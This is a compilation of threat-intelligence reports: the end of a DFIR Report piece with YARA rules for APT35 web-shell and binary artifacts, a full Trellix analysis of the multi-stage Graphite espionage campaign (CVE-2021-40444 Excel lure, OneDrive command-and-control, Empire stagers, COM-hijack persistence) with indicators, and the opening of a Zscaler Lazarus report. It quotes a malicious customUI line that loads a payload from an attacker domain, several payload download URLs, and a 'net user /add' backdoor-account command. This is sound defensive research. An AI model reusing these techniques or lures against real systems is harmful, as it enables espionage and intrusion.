$s8 = "string[] parts = exec_code.Substring(\"download \".Length).Split(' ');"
fullword ascii
$s9 = "Response.AppendHeader(\"Content-Disposition\", \"attachment; filename=\"
+ fileName);" fullword ascii
$s10 = "result = result + Environment.NewLine + \"ERROR:\" +
Environment.NewLine + error;" fullword ascii
$s11 = "else if (exec_code == \"get\")" fullword ascii
$s12 = "int fileLength = httpPostedFile.ContentLength;" fullword ascii
condition:
18/22
uint16(0) == 0x4221 and filesize < 800KB and
8 of them
rule files_user {
meta:
description = "9893_files - file user.exe"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
date = "2022-03-21"
hash1 = "7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b"
strings:
$x1 = "PA<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>
<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVer" ascii
$s2 = "\", or \"requireAdministrator\" --> <v3:requestedExecutionLevel
level=\"requireAdministrator\" /> </v3:requestedPrivileges> </v3" ascii
$s3 = "-InitOnceExecuteOnce" fullword ascii
$s4 = "0\"> <dependency> <dependentAssembly> <assemblyIdentity type=\"win32\"
name=\"Microsoft.Windows.Common-Controls\" version=\"6.0." ascii
$s5 = "s:v3=\"urn:schemas-microsoft-com:asm.v3\"> <v3:security>
<v3:requestedPrivileges> <!-- level can be \"asInvoker\", \"highestAvai" ascii
$s6 = "PB_GadgetStack_%I64i" fullword ascii
$s7 = "PB_DropAccept" fullword ascii
$s8 = "rocessorArchitecture=\"*\" publicKeyToken=\"6595b64144ccf1df\"
language=\"*\" /> </dependentAssembly> </dependency> <v3:trustInf" ascii
$s9 = "PB_PostEventMessage" fullword ascii
$s10 = "PB_WindowID" fullword ascii
$s11 = "?GetLongPathNameA" fullword ascii
$s12 = "Memory page error" fullword ascii
$s13 = "PPPPPPH" fullword ascii
$s14 = "YZAXAYH" fullword ascii
$s15 = "%d:%I64d:%I64d:%I64d" fullword ascii
$s16 =
"NGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD
ascii
$s17 = "PYZAXAYH" fullword ascii
$s18 = "PB_MDI_Gadget" fullword ascii
$s19 = "PA<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>
<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVer" ascii
$s20 = " 46B722FD25E69870FA7711924BC5304D 787242D55F2C49A23F5D97710D972108
A2DB26CE3BBE7B2CB12F9BEFB37891A3" fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 300KB and
1 of ($x*) and 4 of them
rule task_update {
meta:
description = "9893_files - file task_update.exe"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
19/22
date = "2022-03-21"
hash1 = "12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a"
strings:
$x1 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly
xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersi" ascii
$s2 = " or \"requireAdministrator\" --> <v3:requestedExecutionLevel
level=\"requireAdministrator\" /> </v3:requestedPrivileges> </v3:se" ascii
$s3 = "-InitOnceExecuteOnce" fullword ascii
$s4 = "> <dependency> <dependentAssembly> <assemblyIdentity type=\"win32\"
name=\"Microsoft.Windows.Common-Controls\" version=\"6.0.0.0" ascii
$s5 = "v3=\"urn:schemas-microsoft-com:asm.v3\"> <v3:security>
<v3:requestedPrivileges> <!-- level can be \"asInvoker\", \"highestAvaila" ascii
$s6 = "PB_GadgetStack_%I64i" fullword ascii
$s7 = "PB_DropAccept" fullword ascii
$s8 = "PB_PostEventMessage" fullword ascii
$s9 = "PB_WindowID" fullword ascii
$s10 = "?GetLongPathNameA" fullword ascii
$s11 = "cessorArchitecture=\"*\" publicKeyToken=\"6595b64144ccf1df\"
language=\"*\" /> </dependentAssembly> </dependency> <v3:trustInfo " ascii
$s12 = "Memory page error" fullword ascii
$s13 = "PPPPPPH" fullword ascii
$s14 = "YZAXAYH" fullword ascii
$s15 = "%d:%I64d:%I64d:%I64d" fullword ascii
$s16 = "PYZAXAYH" fullword ascii
$s17 = "PB_MDI_Gadget" fullword ascii
$s18 = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?> <assembly
xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersi" ascii
$s19 = " 11FCC18FB2B55FC3C988F6A76FCF8A2D 56D49E57AD1A051BF62C458CD6F3DEA9
6104990DFEA3DFAB044FAF960458DB09" fullword wide
$s20 = "PostEventClass" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 300KB and
1 of ($x*) and 4 of them
rule App_Web_vjloy3pa {
meta:
description = "9893_files - file App_Web_vjloy3pa.dll"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
date = "2022-03-21"
hash1 = "faa315db522d8ce597ac0aa957bf5bde31d91de94e68d5aefac4e3e2c11aa970"
strings:
$x2 = "hSystem.ComponentModel.DataAnnotations, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35" fullword ascii
$s3 = "MSystem.Xml, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089" fullword ascii
$s4 = "RSystem.Xml.Linq, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089" fullword ascii
$s5 = "ZSystem.ServiceModel.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35" fullword ascii
$s6 = "YSystem.Web.DynamicData, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35" fullword ascii
20/22
$s7 = "XSystem.Web.Extensions, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35" fullword ascii
$s8 = "VSystem.Web.Services, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
$s9 = "MSystem.Web, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
$s10 = "WSystem.Configuration, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
$s11 = "`System.Data.DataSetExtensions, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089" fullword ascii
$s12 = "NSystem.Core, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089" fullword ascii
$s13 = "ZSystem.WorkflowServices, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35" fullword ascii
$s14 = "WSystem.IdentityModel, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089" fullword ascii
$s15 = "aSystem.ServiceModel.Activation, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35" fullword ascii
$s16 =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
wide /* base64 encoded string '' */
$s17 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" wide /* base64
encoded string '' */
$s18 = "aSystem.Web.ApplicationServices, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35" fullword ascii
$s19 = "\\System.EnterpriseServices, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
$s20 = "SMicrosoft.CSharp, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7f11d50a3a" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 2000KB and
1 of ($x*) and 4 of them
rule _user_task_update_0 {
meta:
description = "9893_files - from files user.exe, task_update.exe"
author = "TheDFIRReport"
reference = "https://thedfirreport.com/2022/03/21/apt35-automates-initialaccess-using-proxyshell/"
date = "2022-03-21"
hash1 = "7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b"
hash2 = "12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a"
strings:
$s1 = "-InitOnceExecuteOnce" fullword ascii
$s2 = "PB_GadgetStack_%I64i" fullword ascii
$s3 = "PB_DropAccept" fullword ascii
$s4 = "PB_PostEventMessage" fullword ascii
$s5 = "PB_WindowID" fullword ascii
$s6 = "?GetLongPathNameA" fullword ascii
$s7 = "Memory page error" fullword ascii
$s8 = "PPPPPPH" fullword ascii
$s9 = "YZAXAYH" fullword ascii
$s10 = "%d:%I64d:%I64d:%I64d" fullword ascii
21/22
$s11 = "PYZAXAYH" fullword ascii
$s12 = "PB_MDI_Gadget" fullword ascii
$s13 = "PostEventClass" fullword ascii
$s14 = "t$hYZAXAYH" fullword ascii
$s15 = "$YZAXAYH" fullword ascii
$s16 = "Floating-point underflow (exponent too small)" fullword ascii
$s17 = "Inexact floating-point result" fullword ascii
$s18 = "Single step trap" fullword ascii
$s19 = "Division by zero (floating-point)" fullword ascii
$s20 = "tmHcI(H" fullword ascii
condition:
( uint16(0) == 0x5a4d and filesize < 300KB and ( 8 of them )
) or ( all of them )
MITRE
Exploit Public-Facing Application 
 T1190
OS Credential Dumping 
 T1003
Account Manipulation 
 T1098
Valid Accounts 
 T1078
Ingress Tool Transfer 
 T1105
Match Legitimate Name or Location 
 T1036.005
Windows Service 
 T1543.003
Web Shell 
 T1505.003
System Information Discovery 
 T1082
System Network Configuration Discovery 
 T1016
System Owner/User Discovery 
 T1033
Windows Command Shell 
 T1059.003
Internal case #9893
22/22
Prime Minister
s Office Compromised: Details of Recent
Espionage Campaign
trellix.com/en-gb/about/newsroom/stories/threat-labs/prime-ministers-office-compromised.html
By Marc Elias 
 January 25, 2022
A special thanks to Christiaan Beek, Alexandre Mundo, Leandro Velasco and Max Kersten for
malware analysis and support during this investigation.
Executive Summary
Our Advanced Threat Research Team have identified a multi-stage espionage campaign
targeting high-ranking government officials overseeing national security policy and
individuals in the defense industry in Western Asia. As we detail the technical components of
this attack, we can confirm that we have undertaken pre-release disclosure to the victims and
provided all necessary content required to remove all known attack components from their
environments.
The infection chain starts with the execution of an Excel downloader, most likely sent to the
victim via email, which exploits an MSHTML remote code execution vulnerability (CVE2021-40444) to execute a malicious executable in memory. The attack uses a follow-up piece
of malware called Graphite because it uses Microsoft
s Graph API to leverage OneDrive as a
command and control server
a technique our team has not seen before. Furthermore, the
attack was split into multiple stages to stay as hidden as possible.
Command and control functions used an Empire server that was prepared in July 2021, and
the actual campaign was active from October to November 2021. The below blog will explain
the inner workings, victimology, infrastructure and timeline of the attack and, of course,
reveal the IOCs and MITRE ATT&CK techniques.
A number of the attack indicators and apparent geopolitical objectives resemble those
associated with the previously uncovered threat actor APT28. While we don
t believe in
attributing any campaign solely based on such evidence, we have a moderate level of
confidence that our assumption is accurate. That said, we are supremely confident that we
are dealing with a very skilled actor based on how infrastructure, malware coding and
operation were setup.
Trellix customers are protected by the different McAfee Enterprise and FireEye products that
were provided with these indicators.
Analysis of the Attack Process
1/23
This section provides an analysis of the overall process of the attack, beginning with the
execution of an Excel file containing an exploit for the MSHTML remote code execution
vulnerability (CVE-2021-40444) vulnerability. This is used to execute a malicious DLL file
acting as a downloader for the third stage malware we called Graphite. Graphite is a newly
discovered malware sample based on a OneDrive Empire Stager which leverages OneDrive
accounts as a command and control server via the Microsoft Graph API.
The last phases of this multi-stage attack, which we believe is associated with an APT
operation, includes the execution of different Empire stagers to finally download an Empire
agent on victims
 computers and engage the command and control server to remotely control
the systems.
The following diagram shows the overall process of this attack.
Figure 1. Attack flow
First Stage 
 Excel Downloaders
As suggested, the first stage of the attack likely uses a spear phishing email to lure victims
into opening an Excel file, which goes by the name 
parliament_rew.xlsx
. Below you can see
the identifying information for this file:
File type
Excel Microsoft Office Open XML Format document
File name
parliament_rew.xlsx
File size
19.26 KB
Compilation
time
05/10/2021
8e2f8c95b1919651fcac7293cb704c1c
SHA-256
f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4
2/23
Figure 2. Decoy text observed in the Excel file
In analyzing this file
s structure, we observed that it includes a folder named 
customUI
 that
contains a file named 
customUI.xml
. Opening this file with a text editor, we observed that
the malicious document uses the 
CustomUI.OnLoad
 property of the OpenXML format to
load an external file from a remote server:
<customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui"
onLoad='https://wordkeyvpload[.]net/keys/parliament_rew.xls!123'> </customUI>
This technique allows the attackers to bypass some antivirus scanning engines and office
analysis tools, decreasing the chances of the documents being detected.
The downloaded file is again an Excel spreadsheet, but this time it is saved using the old
Microsoft Office Excel 97-2003 Binary File Format (.xls). Below you can see the identifying
information of the file:
File type
Microsoft Office Excel 97-2003 Binary File Format
File name
parliament_rew.xls
File size
20.00 KB
Compilation
time
05/10/2021
abd182f7f7b36e9a1ea9ac210d1899df
SHA-256
7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a
Analyzing the metadata objects, we can identify that the creator was using the codepage 1252
used in Western European countries and the file was created on October 5th, 2021.
3/23
Figure 3. Document metadata
Later, we analyzed the OLE objects in the document and discovered a Linked Object
OLEStream Structure which contains a link to the exploit of the CVE-2021-40444
vulnerability hosted in the attackers
 server. This allows the document to automatically
download the HTML file and subsequently call the Internet Explorer engine to interpret it,
triggering the execution of the exploit.
Figure 4. Remote link in OLE object
In this blog post we won
t examine the internals of the CVE-2021-40444 vulnerability as it
has already been publicly explained and discussed. Instead, we will continue the analysis on
the second stage DLL contained in the CAB file of the exploit.
Second Stage 
 DLL Downloader
The second stage is a DLL executable named fontsubc.dll which was extracted from the CAB
file used in the exploit mentioned before. You can see the identifying information of the file
below:
File type
PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit
4/23
File name
fontsubc.dll
File size
88.50 KB
Compilation
time
28/09/2021
81de02d6e6fca8e16f2914ebd2176b78
SHA-256
1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40
This file exports a function called 
CPlApplet
 that Windows recognizes as a control panel
application. Primarily, this acts a downloader for the next stage malware which is located at
hxxps://wordkeyvpload[.]net/keys/update[.]dat using COM Objects and the API
URLOpenBlockingStreamW
Figure 5. Download of next stage malware
After downloading the file, the malware will decrypt it with an embedded RSA Public Key and
check its integrity calculating a SHA-256 of the decrypted payload. Lastly, the malware will
allocate virtual memory, copy the payload to it and execute it.
5/23
Figure 6. Payload decryption and execution
Before executing the downloaded payload, the malware will compare the first four bytes with
the magic value DE 47 AC 45 in hexadecimal; if they are different, it won
t execute the
payload.
Figure 7. Malware magic value
Third Stage 
 Graphite Malware
The third stage is a DLL executable, never written to disk, named dfsvc.dll that we were able
to extract from the memory of the previous stage. Below you can see the identifying
information of the file:
File type
PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit
File name
dfsvc.dll
File size
24.00 KB
6/23
Compilation
time
20/09/2021
0ff09c344fc672880fdb03d429c7bda4
SHA-256
f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231
We named this malware Graphite due to the use of the Microsoft Graph API to use OneDrive
as command and control. It is very likely that the developers of Graphite used the Empire
OneDrive Stager as a reference due to the similarities of the functionality and the file
structure used in the OneDrive account of the actors.
Figure 8. Empire OneDrive stager API requests
Graphite starts by creating a mutex with the hardcoded name
250gHJAWUI289382s3h3Uasuh289di
 to avoid double executions, decrypt the strings and
resolve dynamically the APIs it will use later. Moreover, it will calculate a bot identifier to
identify the infected computer which is a CRC32 checksum of the value stored in the registry
key 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Cryptography\MachineGuid
Figure 9. Graphite initializations
Next, the malware will create a thread to monitor the execution of tasks and upload its results
to the OneDrive account. Result files will be uploaded to the 
update
 folder of the attackers
OneDrive account.
7/23
Figure 10. Thread to monitor task results
After that, the malware will enter into an infinite loop where every 20 minutes it will obtain a
new OAuth2 token to use with the Microsoft Graph API requests and determine if there are
new tasks to execute in the 
check
 folder of the attackers
 OneDrive account.
Figure 11. Request of new OAuth2 token
Once it obtained a valid OAuth2 token, reconnaissance data is gathered containing the
following information from the victims
 systems:
Running processes
.NET CLR version from PowerShell
8/23
Windows OS version
The data is compressed using the LZNT1 algorithm and encrypted with a hardcoded AES256-CBC key with a random IV. The operator tasks are encoded in the same way. Finally, the
file containing the system information is uploaded to the folder 
{BOT_ID}/update
OneDrive with a random name.
Figure 12. Graphite encoding data
Graphite will also query for new commands by enumerating the child files in the "check"
subdirectory. If a new file is found, it will use the Graph API to download the content of the
file and decrypt it. The decrypted tasks have two fields; the first one is a unique identifier of
the task and the second one specifies the command to execute.
The command value 
 will instruct the malware to send the system information to the
command and control again, which is the attackers
 OneDrive. The command value 
indicates that the decrypted task is a shellcode, and the malware will create a thread to
execute it.
9/23
Figure 13. Graphite commands
If the received task is a shellcode, it will check the third field with the magic value DE 47 AC
45 in hexadecimal and, if they are different, it won
t execute the payload. The rest of the bytes
of the task is the shellcode that will be executed. Lastly, the task files are deleted from the
OneDrive after being processed.
Figure 14. Decrypted operator task
The diagram below summarizes the flow of the Graphite malware.
10/23
Figure 15. Graphite execution diagram
Fourth Stage 
 Empire DLL Launcher Stager
The fourth stage is a dynamic library file named csiresources.dll that we were able to extract
from a task from the previous stage. The file was embedded into a Graphite shellcode task
used to reflectively load the executable into the memory of the process and execute it. Below
you can see the identifying information of the file:
File type
PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit
File name
csiresources.dll
File size
111.00 KB
Compilation
time
21/09/2021
138122869fb47e3c1a0dfe66d4736f9b
SHA-256
25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9
11/23
The sample is a generated Empire DLL Launcher stager that will initialize and start the .NET
CLR Runtime into an unmanaged process to execute a download-cradle to stage an Empire
agent. With that, it is possible to run the Empire agent in a process that
s not PowerShell.exe.
First, the malware will check if the malware is executing from the explorer.exe process. If it is
not, the malware will exit.
Figure 16. Process name check
Next, the malware will try to find the file 
EhStorShell.dll
 in the System32 folder and load it.
With this, the malware makes sure that the original 
EhStorShell.dll
 file is loaded into the
explorer.exe context.
Figure 17. Loading EhStorShell.dll library
The previous operation is important because the follow-up malware will override the CLSID
{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D}
 to gain persistence in the victims
system, performing a COM Hijacking technique. The aforementioned CLSID corresponds to
the 
Enhanced Storage Shell Extension DLL
 and is handled by the file 
EhStorShell.dll
Coming up next, the malware will load, initialize and start the .NET CLR Runtime, XOR
decrypt the .NET next stage payload and load it into memory. Lastly, it will execute the file
using the .NET Runtime.
Figure 18. Decryption of next stage malware
12/23
Fifth Stage 
 Empire PowerShell C# Stager
The fifth stage is a .NET executable named Service.exe which was embedded and encrypted
in the previous stage. Below you can see the identifying information of the file:
File type
PE32 executable for MS Windows (console) Intel 80386 32-bit
File size
34.00 KB
3b27fe7b346e3dabd08e618c9674e007
SHA-256
d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317
This sample is an Empire PowerShell C# Stager whose main goal is to create an instance of a
PowerShell object, decrypt the embedded PowerShell script using XOR operations and
decode it with Base64 before finally executing the payload with the Invoke function.
Figure 19. Fifth stage code
The reason behind using a .NET executable to load and execute PowerShell code is to bypass
security measures like AMSI, allowing execution from a process that shouldn
t allow it.
Sixth Stage 
 Empire HTTP PowerShell Stager
The last stage is a PowerShell script, specifically an Empire HTTP Stager, which was
embedded and encrypted in the previous stage. Below you can see the identifying
information of the file:
File type
Powershell script
File size
6.00 KB
a81fab5cf0c2a1c66e50184c38283e0e
SHA-256
da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37
13/23
As we mentioned earlier, this is the last stage of the multi-stage attack and is an HTTP stager
highly obfuscated using the Invoke-Obfuscation script from Empire to make analysis
difficult.
Figure 20. Obfuscated PowerShell script
The main functionality of the script is to contact hxxp://wordkeyvpload[.]org/index[.]jsp to
send the initial information about the system and connect to the URL
hxxp://wordkeyvpload[.]org/index[.]php to download the encrypted Empire agent, decrypt
it with AES-256 and execute it.
Timeline of Events
Based on all the activities monitored and analyzed, we provide the following timeline of
events:
Figure 21. Timeline of the campaign
Targeting
One of the lure documents we mentioned before (named 
parliament_rew.xlsx
) might have
been aimed for targeting government employees.
Besides targeting government entities, it appears this adversary also has its sights on the
defense industry. Another document with the name 
Missions Budget.xlsx
 contained the
text 
Military and civilian missions and operations
 and the budgets in dollars for the
military operations in some countries for the years 2022 and 2023.
14/23
Figure 22. Lure document targeting the defense sector
Moreover, from our telemetry we also have observed that Poland and other Eastern
European countries were of interest to the actors behind this campaign.
The complete victimology of the actors is unknown, but the lure documents we have seen
show its activities are centered in specific regions and industries. Based on the names, the
content of the malicious Excel files and our telemetry, it seems the actors are targeting
countries in Eastern Europe and the most prevalent industries are Defense and Government.
Infrastructure
Thanks to the analysis of the full attack chain, two hosts related to the attack were identified.
The first domain is wordkeyvpload.net which resolves to the IP 131.153.96.114, located in
Serbia and registered on the 7th of July 2021 with OwnRegistrar Inc.
Querying the IP with a reverse DNS lookup tool, a PTR record was obtained resolving to the
domain 
bwh7196.bitcoinwebhosting.net
 which could be an indication that the server was
bought from the Bitcoin Web Hosting VPS reseller company.
Figure 23. Reverse DNS query
The main functionality of this command-and-control server is to host the HTML exploit for
CVE-2021-40444 and the CAB file containing the second stage DLL.
The second domain identified is wordkeyvpload.org which resolves to the IP 185.117.88.19,
located in Sweden, and registered on the 18th of June 2021 with Namecheap Inc. Based on
the operating system (Microsoft Windows Server 2008 R2), the HTTP server (Microsoft-
15/23
IIS/7.5) and the open ports (1337 and 5000) it is very likely the host is running the latest
version of the Empire post-exploitation framework.
The reason behind that hypothesis is that the default configuration of Empire servers uses
port 1337 to host a RESTful API and port 5000 hosts a SocketIO interface to interact
remotely with the server. Also, when deploying a HTTP Listener, the default value for the
HTTP Server field is hardcoded to 
Microsoft-IIS/7.5
Figure 24. Local Empire server execution with default configuration
With the aforementioned information, as well as the extraction of the command and control
from the last stage of the malware, we can confirm that this host acts as an Empire server
used to remotely control the agents installed in victims
 machines and send commands to
execute them.
Attribution
During the timeline of this operation there have been some political tensions around the
Armenian and Azerbaijani border. Therefore, from a classic intelligence operation point of
view, it would make complete sense to infiltrate and gather information to assess the risk and
movements of the different parties involved.
16/23
Throughout our research into the Graphite campaign, we extracted all timestamps of activity
from the attackers from our telemetry and found two consistent trends. First, the activity
days of the adversary are from Monday to Friday, as depicted in the image below:
Figure 25. Adversary
s working days
Second, the activity timestamps correspond to normal business hours (from 08h to 18h) in
the GMT+3 time zone, which includes Moscow Time, Turkey Time, Arabia Standard Time
and East Africa Time.
17/23
Figure 26. Adversary
s working hours
Another interesting discovery during the investigation was that the attackers were using the
CLSID (D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D) for persistence, which matched
with an ESET report in which researchers mentioned a Russian Operation targeting Eastern
European countries.
Analyzing and comparing code-blocks and sequences from the graphite malware with our
database of samples, we discovered overlap with samples in 2018 being attributed to APT28.
We compared for example our samples towards this one:
5bb9f53636efafdd30023d44be1be55bf7c7b7d5 (sha1):
18/23
Figure 27 Code comparison of samples
When we zoom in on some of the functions, we observe on the left side of the below picture
the graphite sample and on the right the forementioned 2018 sample. With almost three
years in time difference, it makes sense that code is changed, but still it looks like the
programmer was happy with some of the previous functions:
19/23
Figure 28 Similar function flow
Although we mentioned some tactics, techniques and procedures (TTPs) of the actors behind
this campaign, we simply do not have enough context, similarities or overlap to point us with
low/moderate confidence towards APT28, let alone a nation-state sponsor. However, we
believe we are dealing with a skilled actor based on how the infrastructure, malware coding
and operation was setup.
Conclusion
The analysis of the campaign described in this blog post allowed us to gather insights into a
multi-staged attack performed in early October, leveraging the MSHTML remote code
execution vulnerability (CVE-2021-40444) to target countries in Eastern Europe.
As seen in the analysis of the Graphite malware, one quite innovative functionality is the use
of the OneDrive service as a Command and Control through querying the Microsoft Graph
API with a hardcoded token in the malware. This type of communication allows the malware
to go unnoticed in the victims
 systems since it will only connect to legitimate Microsoft
domains and won
t show any suspicious network traffic.
Thanks to the analysis of the full attack process, we were able to identify new infrastructure
acting as command and control from the actors and the final payload, which is an agent from
the post-exploitation framework Empire. All the above allowed us to construct a timeline of
the activity observed in the campaign.
The actors behind the attack seem very advanced based on the targeting, the malware and the
infrastructure used in the operation, so we presume that the main goal of this campaign is
espionage. With a low and moderate confidence, we believe this operation was executed by
APT28. To further investigate, we provided some tactics, techniques and procedures (TTPs),
indicators on the infrastructure, targeting and capabilities to detect this campaign.
MITRE ATT&CK Techniques
Tactic
Resource
Development
T1583.001
Acquire
Infrastructure:
Domains
Attackers purchased
domains to be used
as a command and
control.
wordkeyvpload[.]net
wordkeyvpload[.]org
Resource
Development
T1587.001
Develop
capabilities:
Malware
Attackers built
malicious
components to
conduct their attack.
Graphite malware
20/23
Resource
Development
T1588.002
Develop
capabilities:
Tool
Attackers employed
red teaming tools to
conduct their attack.
Empire
Initial Access
T1566.001
Phishing:
Spear phishing
Attachment
Adversaries sent
spear phishing
emails with a
malicious
attachment to gain
access to victim
systems.
BMD(2021)0247.xlsx
Execution
T1203
Exploitation for
Client
Execution
Adversaries
exploited a
vulnerability in
Microsoft Office to
execute code.
CVE-2021-40444
Execution
T1059.001
Command and
Scripting
Interpreter:
PowerShell
Adversaries abused
PowerShell for
execution of the
Empire stager.
Empire Powershell
stager
Persistence
T1546.015
Event
Triggered
Execution:
Component
Object Model
Hijacking
Adversaries
established
persistence by
executing malicious
content triggered by
hijacked references
to Component
Object Model (COM)
objects.
CLSID: D9144DCDE998-4ECA-AB6ADCD83CCBA16D
Persistence
T1136.001
Create
Account: Local
Account
Adversaries created
a local account to
maintain access to
victim systems.
net user /add user1
Defense
Evasion
T1620
Reflective
Code Loading
Adversaries
reflectively loaded
code into a process
to conceal the
execution of
malicious payloads.
Empire DLL
Launcher stager
21/23
Command
and Control
T1104
Multi-Stage
Channels
Adversaries created
multiple stages to
obfuscate the
command-andcontrol channel and
to make detection
more difficult.
Use of different
Empire stagers
Command
and Control
T1102.002
Web Service:
Bidirectional
Communication
Adversaries used an
existing, legitimate
external Web service
as a means for
sending commands
to and receiving
output from a
compromised
system over the Web
service channel.
Microsoft OneDrive
Empire Server
Command
and Control
T1573.001
Encrypted
Channel:
Symmetric
Cryptography
Adversaries
employed a known
symmetric
encryption algorithm
to conceal command
and control traffic
rather than relying
on any inherent
protections provided
by a communication
protocol.
AES 256
Command
and Control
T1573.002
Encrypted
Channel:
Asymmetric
Cryptography
Adversaries
employed a known
asymmetric
encryption algorithm
to conceal command
and control traffic
rather than relying
on any inherent
protections provided
by a communication
protocol.
Indicators of Compromise (IOCs)
First stage 
 Excel Downloaders
40d56f10a54bd8031191638e7df74753315e76f198192b6e3965d182136fc2fa
f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4
22/23
7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a
9052568af4c2e9935c837c9bdcffc79183862df083b58aae167a480bd3892ad0
Second stage 
 Downloader DLL
1ee602e9b6e4e58dfff0fb8606a41336723169f8d6b4b1b433372bf6573baf40
Third stage 
 Graphite
35f2a4d11264e7729eaf7a7e002de0799d0981057187793c0ba93f636126135f
f229a8eb6f5285a1762677c38175c71dead77768f6f5a6ebc320679068293231
Fourth stage 
 DLL Launcher Stager
25765faedcfee59ce3f5eb3540d70f99f124af4942f24f0666c1374b01b24bd9
Fifth stage 
 PowerShell C# Stager
d5c81423a856e68ad5edaf410c5dfed783a0ea4770dbc8fb4943406c316a4317
Sixth stage 
 Empire HTTP Powershell Stager
da5a03bd74a271e4c5ef75ccdd065afe9bd1af749dbcff36ec7ce58bf7a7db37
URLs
hxxps://wordkeyvpload[.]net/keys/Missions Budget Lb.xls
hxxps://wordkeyvpload[.]net/keys/parliament_rew.xls
hxxps://wordkeyvpload[.]net/keys/Missions Budget.xls
hxxps://wordkeyvpload[.]net/keys/TR_comparison.xls
hxxps://wordkeyvpload[.]net/keys/JjnJq3.html
hxxps://wordkeyvpload[.]net/keys/iz7hfD.html
hxxps://wordkeyvpload[.]net/keys/Ari2Rc.html
hxxps://wordkeyvpload[.]net/keys/OD4cNq.html
hxxps://wordkeyvpload[.]net/keys/0YOL4.cab
hxxps://wordkeyvpload[.]net/keys/whmel.cab
hxxps://wordkeyvpload[.]net/keys/UdOpQ.cab
hxxps://wordkeyvpload[.]net/keys/D9V5E.cab
hxxps://wordkeyvpload[.]net/keys/update.dat
hxxps://wordkeyvpload[.]org/index.jsp
hxxps://wordkeyvpload[.]org/index.php
hxxps://wordkeyvpload[.]org/news.php
hxxps://wordkeyvpload[.]org/admin/get.php
hxxps://wordkeyvpload[.]org/login/process.php
Domains
wordkeyvpload[.]net
wordkeyvpload[.]org
jimbeam[.]live
131.153.96[.]114
185.117.88[.]19
94.140.112[.]178
23/23
A "Naver"-ending game of Lazarus APT
zscaler.com/blogs/security-research/naver-ending-game-lazarus-apt
Zscaler
s ThreatLabz research team has been closely monitoring a campaign targeting users
in South Korea. This threat actor has been active for more than a year and continues to
evolve its tactics, techniques, and procedures (TTPs); we believe with high confidence that
the threat actor is associated with Lazarus Group, a sophisticated North Korean advanced
persistent threat (APT) group.
In 2021, the main attack vector used by this threat actor was credential phishing attacks
through emails, posing as Naver, the popular South Korean search engine and web portal.
In 2022, the same threat actor started spoofing various important entities in South Korea,
including KRNIC (Korea Internet Information Center), Korean security vendors such as
Ahnlab, cryptocurrency exchanges such as Binance, and others. Some details about this
